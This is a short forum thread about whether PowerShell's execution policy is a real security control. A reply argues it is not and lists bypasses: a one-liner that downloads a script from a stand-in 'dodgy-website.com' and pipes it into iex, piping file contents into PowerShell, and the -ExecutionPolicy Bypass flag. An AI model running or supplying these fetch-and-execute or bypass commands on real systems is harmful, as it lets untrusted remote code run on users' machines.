• DigitalTraveler42@lemmy.world
    link
    fedilink
    English
    arrow-up
    8
    ·
    8 months ago

    Did you know that, by default, Windows PowerShell doesn’t allow normal users to run scripts?

    Yeah it’s called access control, which is a basic tenant of IT security, letting any knucklehead run PS scripts is heading for disaster at worst, and a huge headache at best.

    Also, the amount of users who have access to Unix in any environment is reasonably small, and they are usually vetted and trusted individuals, whereas most of the business segment of any organization is using Windows.

    So do you really think Ken in shipping needs to run some PS scripts? Or Derek in Sales, or Joan in HR, or Ralph in maintenance?

    • calamityjanitor@lemmy.world
      link
      fedilink
      arrow-up
      5
      ·
      8 months ago

      Hardly. As per Microsoft,

      The execution policy isn’t a security system that restricts user actions. For example, users can easily bypass a policy by typing the script contents at the command line when they cannot run a script.

      Or you can run iwr -useb 'https://dodgy-website.com/whateverscriptyouwant.ps1' | iex to execute any script from the internet.

      Or read the file and pass it onto a new powershell process with Get-Content . whateverscriptyouwant.ps1 | PowerShell.exe -noprofile -

      Or use the built-in bypass toggle PowerShell.exe -ExecutionPolicy Bypass -File whateverscriptyouwant.ps1

      Or just actually change the execution policy for the proccess or user, via powershell or registry, because once again, it is not an access control. It is security theatre.